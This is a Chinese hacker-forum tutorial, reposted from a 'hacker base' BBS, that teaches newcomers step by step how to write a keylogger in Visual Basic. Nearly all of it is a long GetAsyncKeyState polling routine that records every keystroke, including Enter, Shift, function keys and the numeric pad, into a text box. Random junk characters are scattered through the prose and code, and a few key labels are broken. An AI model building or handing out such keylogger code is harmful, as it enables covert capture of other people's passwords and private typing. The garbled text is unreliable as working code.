手把手教你做键盘记录器

韩冰

作者：小珂 转自黑基BBS原创作品版 # s# q9 K+ B# v/ W9 n* ~' T) O版权归黑客基地所有， 转载请注明出处

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前几天写了一篇键盘记录器，好多人反映看不懂， 1 L q/ `& m0 r# h5 m( A对新人没什么用处，所以且这篇我会写的 % r0 z2 L1 Q0 H' ?很详细，再也不像那篇，出了代码什么也没 ^!^ ; \! h& J, z! }这个程序将会详细的讲解如何记载键盘的每一次输入。 9 \& b- a% l$ p$ L. D, Z下面介绍的这个程序主要是利用GetAsyncKeyState函数， 2 B6 J) m- ?* W S$ @3 V& Q. u使用GetAsyncKeyState可以获得键盘的动作。 , X7 y: [2 Y( rGetAsyncKeyState函数根据虚拟键表判断按键的类型。 返回值为一个16位的二进值数，如果被按下则最高位为1， ; K( ]; c0 a* j4 H H4 v即返回-32767。下面是API函数及鼠标中左右键在虚拟键表中的定义： 0 u }% D2 O: `, X9 j* sPrivate Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer 好了，函数就先介绍这么多，下面开始动手实战了 first,当然是创建窗口了 $ {" e8 c O( j% ~ $ e+ @4 _% N1 q1 z* ~ ! V& h% n! w$ ~: W+ G 6 e; {9 M% Z+ n1 f: ]( z 8 |. m- }2 K- h) u j0 T在时间控件的Timer时间中定义检查按键类型，代码如下： # m* K% e5 g( ^9 X$ n+ oDim AddKey KeyResult = GetAsyncKeyState(13) '回车键 If KeyResult = -32767 Then 1 j8 r% @3 S, i. k' ^1 x AddKey = "[ENTER]" + t! h" c2 d9 F( d. {& S8 `3 T$ x GoTo KeyFound $ e6 n+ Q3 Z5 V End If * O, d' {7 g2 p! j+ e KeyResult = GetAsyncKeyState(17) 'Ctrl键 5 i0 |) ], k2 b: Q# A3 I! B- ] If KeyResult = -32767 Then AddKey = "[CTRL]" , D( E' p$ n$ h6 A GoTo KeyFound & p1 u& L* Y1 F3 y End If / t/ i4 V9 z/ u. @ KeyResult = GetAsyncKeyState(8) '退格键 If KeyResult = -32767 Then 5 O2 g( _/ n: A" c AddKey = "[BKSPACE]" 5 e' D9 O: E& c! F# N. e GoTo KeyFound End If ( W% e$ ^) d+ F0 p KeyResult = GetAsyncKeyState(9) / X7 j6 ?7 @1 ]5 d% ~ If KeyResult = -32767 Then : }1 v3 A; ?( B# q AddKey = "[TAB]" ) g9 I5 T) L/ S6 W GoTo KeyFound / e( J) L4 u' t* j End If / D6 y f, {' G . u: w1 N( ^- o# v KeyResult = GetAsyncKeyState(18) If KeyResult = -32767 Then AddKey = "[ALT]" GoTo KeyFound % r# x3 F3 f& X! r' m End If $ q, F( I+ o% p6 U8 i6 i2 A KeyResult = GetAsyncKeyState(19) . G; A& D7 K" Z" k5 s9 t6 O2 ^ If KeyResult = -32767 Then AddKey = "[PAUSE]" GoTo KeyFound End If w& @ H% G6 R( U KeyResult = GetAsyncKeyState(20) 6 q) w) R, ^: L5 g( A6 }, F If KeyResult = -32767 Then AddKey = "[CAPS]" - ~3 F a5 q" f GoTo KeyFound End If ' P8 \3 z/ H% | j KeyResult = GetAsyncKeyState(27) If KeyResult = -32767 Then AddKey = "[ESC]" ' {+ x0 m* ~, F0 P& L1 m GoTo KeyFound End If / ]- B6 u Q7 q$ i- l KeyResult = GetAsyncKeyState(33) 9 c3 R0 h) ~0 ^3 e! C: S+ R If KeyResult = -32767 Then AddKey = "[PGUP]" 3 }* s1 X$ f. _1 k GoTo KeyFound End If 6 W! M' |$ e9 u% l4 G' D! N KeyResult = GetAsyncKeyState(34) If KeyResult = -32767 Then AddKey = "[PGDN]" 4 W5 K$ N: s2 I, N1 _8 r GoTo KeyFound End If / b' \( \" I! t* b s/ Y2 X. [ KeyResult = GetAsyncKeyState(35) If KeyResult = -32767 Then AddKey = "[END]" GoTo KeyFound " n5 y/ N- @6 O. A! r: X% S) w6 R End If t" g4 @5 g# Z# F9 Z$ n KeyResult = GetAsyncKeyState(36) ; J) P7 ^7 K; s" l If KeyResult = -32767 Then & n5 G+ \" t6 f5 [ AddKey = "[HOME]" GoTo KeyFound 4 a. r% `3 o$ V# g c' b End If KeyResult = GetAsyncKeyState(44) * _, t& G, Q9 Z @ If KeyResult = -32767 Then 7 J5 F/ D" q" e2 ?) X" e. x8 a AddKey = "[SYSRQ]" GoTo KeyFound ! W$ G& G$ N: q4 H0 \4 M3 ` End If ; a- X6 e3 }# q KeyResult = GetAsyncKeyState(45) 3 \, [4 K) c1 t, z If KeyResult = -32767 Then ' y2 V" Y7 z1 k, u AddKey = "[INS]" GoTo KeyFound End If + \/ d! T8 w/ [: [& b! x4 a KeyResult = GetAsyncKeyState(46) If KeyResult = -32767 Then AddKey = "[DEL]" & l$ j8 Y8 b5 K# z( N' c/ S& K9 O GoTo KeyFound 2 N2 V& n/ O3 `8 K( X- O End If ( m3 _) ^2 V+ T/ Y: J KeyResult = GetAsyncKeyState(144) 9 x4 F: |. `$ X+ W: w If KeyResult = -32767 Then AddKey = "[NUM]" # k L4 ?. }6 S GoTo KeyFound End If ; F$ w' v( y$ ? KeyResult = GetAsyncKeyState(37) $ M' W0 w3 z3 d/ r1 Z' n If KeyResult = -32767 Then AddKey = "

" GoTo KeyFound + u- P3 ^# g- F End If KeyResult = GetAsyncKeyState(38) * w8 T% K1 b( D: [ If KeyResult = -32767 Then 9 l$ C' A& ^! a# S AddKey = "[UP]" GoTo KeyFound End If * c, c3 x7 V! i: s KeyResult = GetAsyncKeyState(39) E9 l- z3 h5 @) X# y' j If KeyResult = -32767 Then AddKey = "

" ' O' P: w9 g% v+ a* t2 v3 \( i& o GoTo KeyFound End If KeyResult = GetAsyncKeyState(40) If KeyResult = -32767 Then # B* ? D v8 G% ` AddKey = "[DOWN]" ! ~; [2 k; \/ q. D$ C! r8 c GoTo KeyFound 8 T5 B7 W N6 t7 w* S7 ] End If . u3 W8 w& l$ f( M , \$ m$ U; I. i0 l8 R9 k, I . ~ L, y) y7 Q9 L8 f# u4 \ 0 R t8 w* G; L- P0 @3 N0 rKeyResult = GetAsyncKeyState(112) If KeyResult = -32767 Then 2 {: m m& W7 `6 h. l& _ AddKey = "[F1]" . c' |: u/ i, M; A: [: }' q# n8 ?1 B GoTo KeyFound - f3 K" h. l- B+ y End If 9 _( P% |$ t9 _$ P' P- o& [6 A# t" h KeyResult = GetAsyncKeyState(113) # y( _0 W5 U4 C R7 o8 K3 z If KeyResult = -32767 Then + @. J+ \, z/ A3 V4 } AddKey = "[F2]" GoTo KeyFound End If s6 h/ }8 U) l: [& v) D KeyResult = GetAsyncKeyState(114) 5 F6 d; n* i2 Q If KeyResult = -32767 Then AddKey = "[F3]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(115) / f" U" E1 b+ o1 E) D- o! | If KeyResult = -32767 Then ( h/ s5 ^3 Y" O6 c) f. ~. H AddKey = "[F4]" 8 ]5 Z, U: b( P* n2 I) d GoTo KeyFound : _( k! y6 t# T& |- ] End If + [- h; z* F7 |0 H7 l$ m4 O KeyResult = GetAsyncKeyState(116) . K% G3 Y4 [; V6 @ U If KeyResult = -32767 Then 6 g: ] g! i! N! B' d) [ [ AddKey = "[F5]" 6 `# F/ h$ b5 ^% P GoTo KeyFound 0 G6 g9 E% Y$ R% l7 Y: P End If KeyResult = GetAsyncKeyState(117) If KeyResult = -32767 Then AddKey = "[F6]" GoTo KeyFound End If 2 d: r6 B7 h8 K7 Q' ^3 E* ~KeyResult = GetAsyncKeyState(118) j7 y" {/ j! O- s3 R# l. _ If KeyResult = -32767 Then / Z5 a5 N6 B0 S1 F& U AddKey = "[F7]" GoTo KeyFound End If $ h8 t8 x! E5 c1 l5 `4 n 1 r; x( l# R4 F+ e V( IKeyResult = GetAsyncKeyState(119) If KeyResult = -32767 Then AddKey = "[F8]" - C" O/ t! ^" }0 c n/ ?" j, x t GoTo KeyFound End If KeyResult = GetAsyncKeyState(120) If KeyResult = -32767 Then AddKey = "[F9]" 7 }; A4 ~3 A& S GoTo KeyFound End If % k5 J4 z8 G. O KeyResult = GetAsyncKeyState(121) If KeyResult = -32767 Then 0 _8 q2 _( t8 N5 @ AddKey = "[F10]" " o2 F! J1 m. l9 k& V- g GoTo KeyFound End If + Z2 y* r; E) S( K 5 }2 ~9 J- i* M* fKeyResult = GetAsyncKeyState(122) If KeyResult = -32767 Then ; i, s7 s# Y& y AddKey = "[F11]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(123) 1 q& T9 I' @7 I8 J; }$ O+ @0 O8 b+ H If KeyResult = -32767 Then $ [6 k# p! z1 w" [; y AddKey = "[F12]" 7 R9 Z3 g' E9 h& b GoTo KeyFound End If g9 L& M+ ~7 _6 V KeyResult = GetAsyncKeyState(124) If KeyResult = -32767 Then AddKey = "[F13]" GoTo KeyFound 4 d1 ~. t& ]( f4 I1 p; ^ End If KeyResult = GetAsyncKeyState(125) 9 Y4 ^" ^/ R* i. V If KeyResult = -32767 Then 8 u! _8 X6 y4 \. a* l AddKey = "[F14]" O8 d* V+ n9 ^$ y GoTo KeyFound 5 R8 r7 y/ m5 N+ t End If * h; {& B3 N! J0 I- D% V" rKeyResult = GetAsyncKeyState(126) If KeyResult = -32767 Then AddKey = "[F15]" GoTo KeyFound 1 x* r# }7 Q: m" [8 [ End If KeyResult = GetAsyncKeyState(127) 6 [$ }4 v2 f/ R' x! c If KeyResult = -32767 Then 7 G- M+ r. Z% h/ Y/ G5 ~4 v) z AddKey = "[F16]" ! K; r9 O$ a$ n ?: k: [! q! S GoTo KeyFound 1 x9 G8 ~5 F3 X% Z+ K. O End If KeyResult = GetAsyncKeyState(32) If KeyResult = -32767 Then AddKey = " " 1 O- f2 B: Z, v3 G( M) [ GoTo KeyFound End If % _. X% Y* v* d+ \+ U- }" T KeyResult = GetAsyncKeyState(186) If KeyResult = -32767 Then AddKey = ";" 7 j: W# c y2 \% t1 J GoTo KeyFound ' c( h! u6 {: h* _7 n End If [3 }. ~! T! w! `; k5 ]6 q ; D% g) B; ]5 r1 V* CKeyResult = GetAsyncKeyState(187) If KeyResult = -32767 Then ! [/ c: c- C; ^9 A AddKey = "=" GoTo KeyFound End If KeyResult = GetAsyncKeyState(188) If KeyResult = -32767 Then AddKey = "," 9 I8 `' p( s+ V4 q$ @5 R GoTo KeyFound 9 r% L; R& }2 g' O& [0 Q( i) T. u End If 3 f8 b" d/ G a2 s KeyResult = GetAsyncKeyState(189) If KeyResult = -32767 Then 6 `$ e. [3 H; k- k AddKey = "-" GoTo KeyFound 0 v, R$ ?( }4 o( B8 d- v5 _+ W End If 6 C3 S: ]0 {# E7 WKeyResult = GetAsyncKeyState(190) If KeyResult = -32767 Then AddKey = "." 9 g: N2 K" X* l2 Q# e# W: e GoTo KeyFound End If KeyResult = GetAsyncKeyState(191) If KeyResult = -32767 Then , r/ A) y; ]2 V, K, x' B! ~2 p AddKey = "/" '/ GoTo KeyFound ) `( H, H: I0 F; @ End If % _2 ?; d0 {! ]/ b D# k6 V & Y) q m, U% ~. w! |5 z) e3 [KeyResult = GetAsyncKeyState(192) ( Y. ? y$ a+ ]& L: O/ C If KeyResult = -32767 Then AddKey = "`" '` . H# H+ Z; p5 p/ J8 e$ [0 A/ g* j GoTo KeyFound e7 q1 o0 f: y1 [ End If 9 z! g2 d6 ]) c6 ]) I3 g# B 8 R0 Y! t* a+ U5 s- Y, ^ . u0 U; w1 L* ?. q/ T'----------NUM PAD / j, G& o/ f" X4 G3 Z# FKeyResult = GetAsyncKeyState(96) If KeyResult = -32767 Then ' B9 {% X& u: X0 N* p/ @! P AddKey = "0" 5 ]2 O- x, \4 B: W: P) { GoTo KeyFound : j5 R% O1 B7 D' d1 ]2 ?, c3 N End If : N! R" j9 m! h- J& T4 l / i( F; n9 p( o: ?1 _KeyResult = GetAsyncKeyState(97) 3 O7 t! ]7 l9 D If KeyResult = -32767 Then AddKey = "1" GoTo KeyFound End If KeyResult = GetAsyncKeyState(98) If KeyResult = -32767 Then , {, p0 w8 t! o" k AddKey = "2" GoTo KeyFound End If 8 Z+ I5 L. l y! q1 n' jKeyResult = GetAsyncKeyState(99) If KeyResult = -32767 Then AddKey = "3" GoTo KeyFound 1 o5 {/ s# V+ T' M5 a End If + K4 Z( _- h* j 3 Y8 s8 K2 t8 s' Q. xKeyResult = GetAsyncKeyState(100) If KeyResult = -32767 Then AddKey = "4" GoTo KeyFound End If $ u# |8 o/ W/ ]% Q/ H. L$ _& e 3 \+ \! F) y6 x- ?# x9 v4 YKeyResult = GetAsyncKeyState(101) 7 |! E2 j5 r4 e6 L$ p# Q( R9 f+ u If KeyResult = -32767 Then AddKey = "5" 9 m! b. ?3 j' c t }2 Q; @ GoTo KeyFound " `& D4 j0 Q( d# [' }0 _6 } End If ; a/ a0 n7 H+ R1 ~$ s 2 ^- i; ^: f# ]3 s& S; P" K( Y KeyResult = GetAsyncKeyState(102) If KeyResult = -32767 Then AddKey = "6" 9 x2 F" C& O t* X3 v* ? GoTo KeyFound , L: E U) J' U; @5 u- j6 n End If & ?* Q) h8 u7 f9 fKeyResult = GetAsyncKeyState(103) ' @0 ]( n v f- w% C$ a. b If KeyResult = -32767 Then # s7 v: |# o; N! [. Z AddKey = "7" ! G0 v, R8 w) Y4 H$ w GoTo KeyFound End If 7 R9 H; [ }7 J% }# w# H KeyResult = GetAsyncKeyState(104) . C+ |! f: h( Q" K2 A: V" Z" _ If KeyResult = -32767 Then ' s8 x' z: a& C ~: `' s; x AddKey = "8" 1 H& U% q/ @! H2 [- p8 o8 I& u GoTo KeyFound End If # E/ i6 _6 `8 p1 a: y KeyResult = GetAsyncKeyState(105) If KeyResult = -32767 Then 4 }4 L; S% G" z2 n7 P AddKey = "9" GoTo KeyFound End If , w1 X1 E* E0 J1 L; ]+ S, m- q) |( Y . H1 }/ w$ |. { ! J6 i# S2 l# d6 x8 D0 LKeyResult = GetAsyncKeyState(106) & W) u' p. I# L: L* C& b If KeyResult = -32767 Then 8 P5 z0 |2 \1 i" a7 G AddKey = "*" , ?8 F l3 C* @4 Y+ `. X GoTo KeyFound End If T& h5 F4 r F % T8 n8 b3 N( u. y# m1 `KeyResult = GetAsyncKeyState(107) 1 `5 ^* O$ R8 }( z2 o z) l If KeyResult = -32767 Then AddKey = "+" GoTo KeyFound End If 8 ]- \& z) f7 O+ M6 e; c% b / b% _% l: K# cKeyResult = GetAsyncKeyState(108) If KeyResult = -32767 Then ) u% X; l! b" \ T+ p; A Z! m* i( U AddKey = "[ENTER]" E0 [5 u' C& ^) T& Y% Y) l7 w GoTo KeyFound " U6 P1 e1 ~1 r End If KeyResult = GetAsyncKeyState(109) % u2 s) U* g% z& C" y* C If KeyResult = -32767 Then AddKey = "-" GoTo KeyFound End If " R* L+ E$ T ?9 A1 D' U- @ KeyResult = GetAsyncKeyState(110) , C' q( T* j' C4 U7 B If KeyResult = -32767 Then AddKey = "." GoTo KeyFound End If . N, M8 D7 v+ \, k % ~7 e1 B; W2 gKeyResult = GetAsyncKeyState(2) If KeyResult = -32767 Then AddKey = "/" GoTo KeyFound End If KeyResult = GetAsyncKeyState(220) 2 B* P: H" H( W/ G If KeyResult = -32767 Then , ]1 ?8 r2 y# \3 z3 y _. }" n AddKey = "\" GoTo KeyFound End If ; O* v: S) Q& b+ c D8 _KeyResult = GetAsyncKeyState(222) If KeyResult = -32767 Then / a7 q% s% ^7 r AddKey = "'" 2 O4 h; g1 \) {8 N- w: Z% C& G GoTo KeyFound . I8 S$ f+ V) u; S; y9 z: e) m End If KeyResult = GetAsyncKeyState(221) If KeyResult = -32767 Then AddKey = "]" ' b7 w- W6 h4 h! _+ ?: D GoTo KeyFound / V# O, P- y5 G% Q2 ~+ o2 R End If 2 k' W- K6 X8 ^ M, e/ x3 OKeyResult = GetAsyncKeyState(219) + J4 R" |$ _4 h1 _% c7 r9 @; \ If KeyResult = -32767 Then ) d2 g9 ^, k! ~ g! F AddKey = "[" GoTo KeyFound End If # H+ ` n& }& M0 ^7 U5 k" _" } 2 r3 g2 s8 K# _/ A& [1 lKeyResult = GetAsyncKeyState(16) 'shift键 If KeyResult = -32767 And TimeOut = 0 Then ' U; d; k, Z. P) P% `3 t8 X: O AddKey = "[SHIFT]" LastKey = AddKey . K0 `/ o* g; t# `4 H& m3 Y8 @5 G TimeOut = 1 GoTo KeyFound 2 A9 f4 t0 C/ P2 Z* } End If V8 o6 f Z) @( B" W- a1 U9 n KeyLoop = 41 Do Until KeyLoop = 256 ' 显示其他键 & K' Z u# W# H/ W; ~; \/ E! c KeyResult = GetAsyncKeyState(KeyLoop) If KeyResult = -32767 Then Text1.Text = Text1.Text + Chr(KeyLoop) KeyLoop = KeyLoop + 1 ! ~9 P9 S/ e/ H, ] Loop LastKey = AddKey / K; v9 G5 l% [# z( m5 x- l Exit Sub KeyFound: '显示键的信息 ) |$ n0 s5 N. Z0 G7 P/ SText1 = Text1 & AddKey : M; ^- r% R- a8 \7 NEnd Sub : t9 n9 G. z# @5 X) T上面的（）里面的数字实际是就是那些键的Ascii码，比如13就代表回车，17代表Ctrl，…… 3 G1 g% o8 m6 e/ t% A9 o/ p由于数目太多，一一列举不方便 ! S( `7 k; E' m8 l8 X4 O/ x8 k. ~现提供Ascii表一份供对照 http://www.cstudy.cn/repository/ascii/default.htm ! p5 w) P" t% [" _下面是其他的事件 Private Sub Timer2_Timer() 0 s; Y; A+ L: |4 A/ vTimeOut = 0 End Sub 目的是随时刷新清空 , m c3 d0 r$ I% p